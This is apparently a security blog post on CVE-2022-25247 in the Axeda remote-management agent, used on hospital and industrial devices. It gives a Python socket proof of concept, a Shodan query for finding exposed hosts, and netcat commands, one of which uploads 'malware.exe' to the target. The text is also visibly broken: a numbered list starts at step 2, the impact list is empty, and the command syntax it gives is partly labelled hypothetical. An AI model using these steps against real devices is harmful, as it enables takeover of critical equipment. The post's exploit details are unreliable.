*Posted in June 2024 by Security Insights*

Introduction

If you thought your hospital’s medical devices were secure on the network, think again. CVE-2022-25247 is a critical vulnerability discovered in the Axeda agent and desktop server, which are widely used for device management and remote support in the healthcare and industrial sector. This flaw could allow anyone on your network, or even on the internet in some cases, to take over affected systems—without a password.

Let’s break down what this bug is, how it works, and how attackers can exploit it—using simple language and hands-on examples.

What is the Axeda Agent?

Axeda is a remote device management solution that lets manufacturers and service providers remotely manage, update, and troubleshoot devices like hospital equipment, ATMs, and vending machines. The agent software runs on Windows and handles incoming management connections over certain network ports.

The Problem: Unauthenticated Command Execution

According to the official advisory, all versions of the Axeda Agent and Axeda Desktop Server for Windows allow commands to be sent to a specific port with no authentication. In other words: If you can connect to the port, you own the machine.

How Does The Exploit Work?

The Axeda agent listens on TCP (default port 3074), and accepts management commands. Unfortunately, due to poor design and missing access control, anyone can talk to it and give it instructions, including file operations and running executables.

Example Proof-of-Concept (PoC)

Below is a basic Python script to open a socket to the vulnerable service. This doesn't execute a real exploit (for obvious legal reasons), but shows how simple it is to interact with the agent.

import socket

target_ip = "192.168.1.100"     # Target Axeda agent IP
target_port = 3074              # Default Axeda agent port

# Example command: "GET_FILE /windows/win.ini"
command = "GET_FILE /windows/win.ini"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.sendall(command.encode('utf-8'))

response = sock.recv(4096)
print(response.decode('utf-8'))

sock.close()

*This example requests a Windows INI file from the server. With other commands (like file upload or execute), you could drop malware or open a reverse shell.*

Find exposed devices on Shodan using searches like port:3074 and “axeda”.

2. Use nc (netcat) or a Python script to connect and send a command to upload and run a malicious .exe.

Example netcat command

echo "GET_FILE /windows/win.ini" | nc 198.51.100.1 3074

Or, to upload a trojan (hypothetical)

echo "UPLOAD_FILE C:\\malware.exe <base64-encoded payload>" | nc 198.51.100.1 3074

Impact

According to Rapid7's analysis, thousands of devices in healthcare, manufacturing, and utilities were found exposed to the internet at the time of disclosure. Remote exploitation could lead to:

Remediation

- Update to a patched Axeda agent: Check with PTC/Servigistics for fixed versions

References

- CISA Advisory – ICSA-22-067-01
- PTC Security Article
- Rapid7 AttackerKB Analysis
- Original CVE Entry (NVD)

Conclusion

CVE-2022-25247 isn’t just an obscure IT security bug—it’s a glaring example of why every device, especially critical ones, must be locked down and regularly updated. As we’ve shown, exploiting this flaw is as simple as sending a message to the right port. Make sure your devices and their vendors take vulnerabilities like this seriously.

Stay safe, patch early, and never trust unauthenticated ports!

*This article is for educational purposes only. Never use this information to attack systems without permission.*

Timeline

Published on: 03/16/2022 15:15:00 UTC
Last modified on: 03/28/2022 13:25:00 UTC